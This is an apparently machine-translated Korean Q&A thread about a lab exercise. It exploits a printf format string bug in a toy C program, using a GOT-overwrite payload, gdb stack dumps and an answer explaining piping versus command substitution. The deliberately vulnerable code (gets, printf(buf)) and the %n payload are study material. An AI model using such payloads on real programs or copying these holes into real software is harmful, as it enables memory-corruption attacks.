2016-09-19 4 views
0

나는 다음과 같은 C 코드의 printf 취약점 악용하려고 :다른 입력 방법에서 printf 취약점을 악용하는 방법은 무엇입니까?

#include <stdio.h> 
#include <stdlib.h> 

/* 
gcc -fno-stack-protector -z execstack -o test test.c 
*/ 
void attack(){ 
    printf("Dropping to shell...\n"); 
} 

int main(int argc, char **argv){ 
    char buf[100]; 

    printf("Enter user name:"); 

    gets(buf); // what if using: scanf("%s",buf); ? 

    printf("buffer (%d): %s\n",strlen(buf), buf); 

    return 0; 
} 

가 그럼 난에 의해 공격 함수로 이동합니다의 printf @의 PLT를 변경하려고 0x804a00c의 가치를 다시 쓰기

08048370 <[email protected]>: 
8048370: ff 25 0c a0 04 08  jmp *0x804a00c 
8048376: 68 00 00 00 00   push $0x0 
804837b: e9 e0 ff ff ff   jmp 8048360 <_init+0x28> 

다음 명령을 사용하여 GDB에서 테스트했습니다. 0x804a00c의 값을 0x00000041로 변경하여 변경할 수 있는지 확인하려고합니다. 그럼 나는 그것을 공격() 주소로 바꿀 수있다.

[------------------------------------stack-------------------------------------] 
0000| 0xbffff070 --> 0x80485c6 ("buffer (%d): %s\n") 
0004| 0xbffff074 --> 0x26 ('&') 
0008| 0xbffff078 --> 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n") 
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4a91b2bc 
0020| 0xbffff084 --> 0xbffff0a8 (".%60x%5\\$n") 
0024| 0xbffff088 --> 0xbffff0a0 ("04\\x08\").%60x%5\\$n") 
0028| 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n") 

가 내가 생각 : 그것은 나를 위해 작동하지 않습니다 그러나

gdb-peda$ r 
Starting program: 
Enter user name:$(printf "\x0c\xa0\x04\x08").%60x%5\$n 

이 주소는 내가 (의 printf() 주소 휴식) 스택의 값을 확인하고있어, 변경되지 않습니다 다른 형식으로 바뀌면서 올바른 값을 전달하지 못했습니다. 나는 $ (printf "\ x0c \ xa0 \ x04 \ x08"). % 60x % 5 \ $ n을 전달하기 위해 argv를 사용할 때 올바르게 전달할 수 있기 때문에 gets() 때문이라고 생각한다.

그럼 누구든지 문제를 해결하는 방법을 알고 있습니까? 또한, 입력이 scanf (% s, buf)를 사용하고 있다면, 다음과 같은 결과가 나옵니다. 이는 또한 올바르지 않습니다.

[------------------------------------stack-------------------------------------] 
0000| 0xbffff070 --> 0x80485f9 ("buffer (%d): %s\n") 
0004| 0xbffff074 --> 0x8 
0008| 0xbffff078 --> 0xbffff08c ("$(printf") 
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4f936a87 
0020| 0xbffff084 --> 0xbffff0a8 --> 0xb7e21c34 --> 0x2aad 
0024| 0xbffff088 --> 0xbffff0a0 --> 0xffffffff 
0028| 0xbffff08c ("$(printf") 

답변

0

여기에 몇 가지 오해가 있습니다.

먼저, $(cmd) 명령 대체입니다. 인수를 전달할 때 유용합니다. 예를 들어 ./foo $(python -c 'print "A"*4')./foo AAAA과 같습니다. 프로그램에서 stdin에서 입력을받는 경우 파이프를 사용해야합니다. 예를 들어 python -c 'print "A"*4' | ./foo./foo을 실행하고 키보드에 AAAA을 입력하는 것과 같습니다.

두 번째로 실제 코드에는 형식 문자열 취약점이 없습니다. 입니다. 그러나 스택 버퍼 오버플로 (gets 또는 scanf)가 있습니다. 사용자가 제어하는 ​​형식 문자열을 사용하여 printf과 같은 기능을 scanf으로 호출하면 형식 문자열 취약점이 발생합니다. gets(buf)scanf("%s", buf)의 차이에 관해서는

printf("buffer (%d): ", strlen(buf)); 
printf(buf); // <-- this is vulnerable 
printf("\n"); 

: 모두 개행 문자/EOF 모드에서 정지하지만, scanf도에서 볼 수있는 (공백에서 중지됩니다 당신이 하나를 원한다면, 당신은 마지막 printf로 변경 될 수 있습니다 귀하의 출력에만 $(printf 읽습니다).

+0

고맙습니다. gdb에서 테스트 할 수있는 방법이 있습니까? 파이썬을 gdb에서이 값을 출력 할 수 없다. – Eudaemon

+0

@Eudaemon 여러분의 입력을 파일에 넣으십시오 ('input'이라고합시다). 그런 다음 GDB에서 redirection을 사용하십시오 :'run